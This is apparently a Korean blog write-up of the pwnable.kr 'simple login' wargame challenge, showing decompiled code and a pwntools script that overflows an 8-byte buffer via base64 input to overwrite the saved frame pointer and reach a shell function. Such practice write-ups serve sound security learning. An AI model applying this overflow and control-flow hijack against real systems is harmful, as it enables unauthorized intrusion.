pwnable.kr - simple login
2021. 9. 23. 00:41ㆍWarGame/pwnable.kr
main문은 아래와 같다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-3Ch]
int v5; // [esp+18h] [ebp-28h] BYREF
char input[30]; // [esp+1Eh] [ebp-22h] BYREF
unsigned int base64_decoded; // [esp+3Ch] [ebp-4h]
memset(input, 0, sizeof(input));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ", v4);
_isoc99_scanf("%30s", input);
memset(decoded_string, 0, 0xCu);
v5 = 0;
base64_decoded = Base64Decode(input, &v5);
if ( base64_decoded > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(decoded_string, v5, base64_decoded);
if ( auth(base64_decoded) == 1 )
correct();
}
return 0;
}
분석해보면 12byte를 base64로 넣게 되면, 해당 값을 auth 내에서 비교하는 것 같지만,
_BOOL4 __cdecl auth(int length)
{
char v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
char v4[8]; // [esp+20h] [ebp-8h] BYREF
memcpy(v4, decoded_string, length);
s2 = calc_md5(v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
디코드 해본결과 해당값을 찾을 수 없었다.
하지만 해당 함수에서 memcpy에서 v4(8byte)보다 더 많이 넣을 수 있었고,
(12byte)까지 가능, sfp를 조작해서 흐름제어가 가능하다.
payload는 아래와 같다.
from pwn import *
import base64
r = remote('pwnable.kr', 9003)
shell = 0x08049284
decode_string = 0x0811EB40
pay = ""
pay += "\x90\x90\x90\x90"
pay += p32(shell)
pay += p32(decode_string)
r.sendline(base64.encodestring(pay))
r.interactive()
'WarGame > pwnable.kr' 카테고리의 다른 글
pwnable.kr. - fsb (0) | 2021.08.29 |
---|---|
pwnable.kr - brain fuck (0) | 2021.08.27 |
pwnable.kr - horcruxes (0) | 2021.07.06 |
pwnable.kr - uaf (0) | 2018.09.10 |
pwnable.kr - cmd2 (0) | 2018.09.09 |